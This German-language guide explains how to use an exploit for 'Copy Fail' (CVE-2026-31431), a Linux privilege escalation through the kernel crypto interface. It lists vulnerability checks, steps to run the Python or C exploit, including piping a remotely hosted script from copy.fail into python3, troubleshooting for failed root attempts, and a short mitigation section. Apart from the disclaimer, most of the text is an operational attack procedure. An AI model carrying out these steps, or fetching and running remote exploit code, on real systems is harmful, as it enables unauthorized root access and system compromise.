Copy Fail (CVE-2026-31431) – Leitfaden zur Nutzung des Exploits

⚠️ Haftungsausschluss

Dieser Inhalt dient ausschließlich Bildungs- und autorisierten Sicherheitstestzwecken. Führen Sie dies NICHT auf Systemen ohne ausdrückliche Genehmigung aus.

📌 Übersicht

Copy Fail (CVE-2026-31431) ist eine Linux-Schwachstelle zur lokalen Rechteausweitung (LPE), die die Kernel-Crypto-API über AF_ALG betrifft.

Sie ermöglicht es einem nicht privilegierten Benutzer, Page-Cache-Daten einer SUID-Binärdatei (z. B. /usr/bin/su) zu überschreiben und Root-Zugriff zu erlangen.

🧠 Voraussetzungen

Systemanforderungen

• Linux-Kernel (anfällig – abhängig vom Patch-Status)
• AF_ALG aktiviert
• algif_aead-Modul geladen

Anforderungen an den Python-Exploit

• Python 3.10+
• Unterstützung für:
  • os.splice
  • socket(AF_ALG)

🔍 Überprüfung der Schwachstelle

uname -a
grep -i authencesn /proc/crypto
lsmod | grep alg

Erwartete Indikatoren:

• authencesn(hmac(sha256),cbc(aes))
• algif_aead geladen

🐍 Ausführen des Python-Exploits

1. Direkt ausführen

python3 copy_fail_exp.py

2. Oder per curl (falls remote gehostet)

curl https://copy.fail/exp | python3

3. Root-Shell auslösen

su
id

Erwartetes Ergebnis:

uid=0(root)

⚠️ Häufige Probleme (Python)

❌ Fehler: os.splice nicht gefunden

Ursache:

• Python-Version < 3.10
• Eingeschränkter Build

Lösung:

• Eine neuere Python-Binärdatei verwenden
• Einen statischen Python-Interpreter hochladen

⚙️ Kompilieren der C-Version

1. Kompilieren

gcc copy_fail_exp.c -o copy_fail

2. Ausführbar machen

chmod +x copy_fail

3. Exploit ausführen

./copy_fail
su

⚠️ Häufige Probleme (C)

❌ Exploit läuft, aber kein Root

Mögliche Ursachen:

• Kernel gepatcht
• Falsche Offsets
• Abweichende Umgebung

❌ Kompilierungsfehler

Erforderliche Tools installieren:

apt update && apt install build-essential

🧪 Fehlerbehebung

Prüfen, ob das System gepatcht ist

dmesg | grep -i alg

Modul verifizieren

lsmod | grep algif_aead

🛡️ Gegenmaßnahmen

Anfälliges Modul deaktivieren

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead

Kernel-Patch anwenden

System aktualisieren:

apt update && apt upgrade

📌 Hinweise

• Der Exploit verändert nur den Page-Cache (nicht persistent)
• Erfordert lokalen Zugriff
• Standardmäßig nicht remote ausnutzbar

🧠 Abschließende Erkenntnis

Wenn der Exploit fehlschlägt, ziehen Sie Folgendes in Betracht:

• Kernel bereits gepatcht
• Umgebungseinschränkungen
• Alternative Vektoren zur Rechteausweitung (SUID, Capabilities, sudo-Fehlkonfiguration)

📚 Referenzen

• https://copy.fail/
• CVE-2026-31431

👨‍💻 Hinweise des Autors

Verwenden Sie diesen Exploit verantwortungsvoll nur in Laboren, CTFs und autorisierten Penetrationstests.